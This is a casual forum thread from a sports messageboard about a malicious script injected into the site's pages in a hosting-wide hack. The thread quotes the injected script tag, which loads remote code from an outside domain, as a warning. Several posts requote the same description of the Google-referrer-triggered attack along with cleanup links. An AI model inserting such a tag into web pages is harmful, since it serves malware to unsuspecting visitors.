Virus (ANDY SAY RELAX)

[Dr. Nguyen Van Falk]

The SBox has been abuzz about a script running on the messageboard that redirects some visitors to a virus.

Code Select Expand

<script src="http://indesignstudioinfo.com/ls.php"></script>

This script is still present on every page of Desipio (messageboard and "articles").

Use the site at your own risk.

[Dr. Nguyen Van Falk]

Note: us Macfags are likely safe.

[Slaky]

Note: us Macfags are likely safe.

Score one for the yuppies.

[Yeti]

That sucked.

[Andy]

Now it's fixed.  Holy crap that sucked.

[Bort]

Now it's fixed.  Holy crap that sucked.

I blame RV.

[Chuck to Chuck]

Is it all gone?  The old stuff?

[Dr. Nguyen Van Falk]

Is it all gone?  The old stuff?

Still gone from the published site, yes.*

But, as the old threads got Rattoed sometime before Wednesday morning, that's probably unrelated to this virus business today.

*Though, if Andy somehow happens to have a pre-Ratto datase backup somewhere, Steph's lost Desipio corpus may possibly be recoverable yet.

[Andy]

I can bring the old posts back.  They're all backed up.  Kind of like Karry Ling.

[Chuck to Chuck]

I can bring the old posts back.  They're all backed up.  Kind of like Karry Ling.

Thank god.  I was afraid we lost Dwyer in Cubs body paint.

[Dr. Nguyen Van Falk]

This hack has apparently been hitting PHP-based GoDaddy sites in waves for a few weeks now...

http://it.slashdot.org/story/10/04/26/1527215/Massive-Number-of-Godaddy-Wordpress-Blogs-Hacked

The best part is that the exploit only executes when the traffic is referred by Google, making it the sort of thing that site maintainers won't easily notice. Clever and devious.

I'm curious if those of you who got hit by it today pull up Desipio in the morning via Google.

All indications seem to point to this being a GoDaddy issue, as it's not limited to sites run with Wordpress (though Wordpress has a spotty security history).* And, if the vulnerability wasn't fixed after the attacks a couple weeks ago, there's no guarantee that it's fixed now.

So heads up, HockeeNight.

More, for those who are interested...

http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/
http://www.neowin.net/forum/topic/897610-godaddy-got-hacked-yesterday/
http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
http://www.endgamepr.com/blog/2010/04/27/godaddy-fails-crisis-communications-test/
http://www.vagabondinglife.com/godaddy-wordpress-malware/
http://traveljapanblog.com/ashland/2010/05/malware-hack-on-godaddy-com-wordpress-sites/

*Not just GoDaddy. Other hosts are falling victim to similar hacks, too.

[CT III]

This hack has apparently been hitting PHP-based GoDaddy sites in waves for a few weeks now...

http://it.slashdot.org/story/10/04/26/1527215/Massive-Number-of-Godaddy-Wordpress-Blogs-Hacked

The best part is that the exploit only executes when the traffic is referred by Google, making it the sort of thing that site maintainers won't easily notice. Clever and devious.

I'm curious if those of you who got hit by it today pull up Desipio in the morning via Google.

All indications seem to point to this being a GoDaddy issue, as it's not limited to sites run with Wordpress (though Wordpress has a spotty security history).* And, if the vulnerability wasn't fixed after the attacks a couple weeks ago, there's no guarantee that it's fixed now.

So heads up, HockeeNight.

More, for those who are interested...

http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/
http://www.neowin.net/forum/topic/897610-godaddy-got-hacked-yesterday/
http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
http://www.endgamepr.com/blog/2010/04/27/godaddy-fails-crisis-communications-test/
http://www.vagabondinglife.com/godaddy-wordpress-malware/
http://traveljapanblog.com/ashland/2010/05/malware-hack-on-godaddy-com-wordpress-sites/

*Not just GoDaddy. Other hosts are falling victim to similar hacks, too.

Who the hell would Google Hockeenight?

[ChuckD]

This hack has apparently been hitting PHP-based GoDaddy sites in waves for a few weeks now...

http://it.slashdot.org/story/10/04/26/1527215/Massive-Number-of-Godaddy-Wordpress-Blogs-Hacked

The best part is that the exploit only executes when the traffic is referred by Google, making it the sort of thing that site maintainers won't easily notice. Clever and devious.

I'm curious if those of you who got hit by it today pull up Desipio in the morning via Google.

All indications seem to point to this being a GoDaddy issue, as it's not limited to sites run with Wordpress (though Wordpress has a spotty security history).* And, if the vulnerability wasn't fixed after the attacks a couple weeks ago, there's no guarantee that it's fixed now.

So heads up, HockeeNight.

More, for those who are interested...

http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/
http://www.neowin.net/forum/topic/897610-godaddy-got-hacked-yesterday/
http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
http://www.endgamepr.com/blog/2010/04/27/godaddy-fails-crisis-communications-test/
http://www.vagabondinglife.com/godaddy-wordpress-malware/
http://traveljapanblog.com/ashland/2010/05/malware-hack-on-godaddy-com-wordpress-sites/

*Not just GoDaddy. Other hosts are falling victim to similar hacks, too.

Who the hell would Google Hockeenight?

http://www.readwriteweb.com/archives/facebook_wants_to_be_your_one_true_loginpage4.php#comments

[Wheezer]

This hack has apparently been hitting PHP-based GoDaddy sites in waves for a few weeks now...

http://it.slashdot.org/story/10/04/26/1527215/Massive-Number-of-Godaddy-Wordpress-Blogs-Hacked

The best part is that the exploit only executes when the traffic is referred by Google, making it the sort of thing that site maintainers won't easily notice. Clever and devious.

I'm curious if those of you who got hit by it today pull up Desipio in the morning via Google.

All indications seem to point to this being a GoDaddy issue, as it's not limited to sites run with Wordpress (though Wordpress has a spotty security history).* And, if the vulnerability wasn't fixed after the attacks a couple weeks ago, there's no guarantee that it's fixed now.

So heads up, HockeeNight.

More, for those who are interested...

http://blogcastfm.com/announcements/warning-massive-number-of-godaddy-wordpress-blogs-hacked-this-weekend/
http://www.neowin.net/forum/topic/897610-godaddy-got-hacked-yesterday/
http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html
http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
http://www.endgamepr.com/blog/2010/04/27/godaddy-fails-crisis-communications-test/
http://www.vagabondinglife.com/godaddy-wordpress-malware/
http://traveljapanblog.com/ashland/2010/05/malware-hack-on-godaddy-com-wordpress-sites/

*Not just GoDaddy. Other hosts are falling victim to similar hacks, too.

Who the hell would Google Hockeenight?

Exactly the point.

[Dr. Nguyen Van Falk]

Who the hell would Google Hockeenight?

Illiterate Canadians?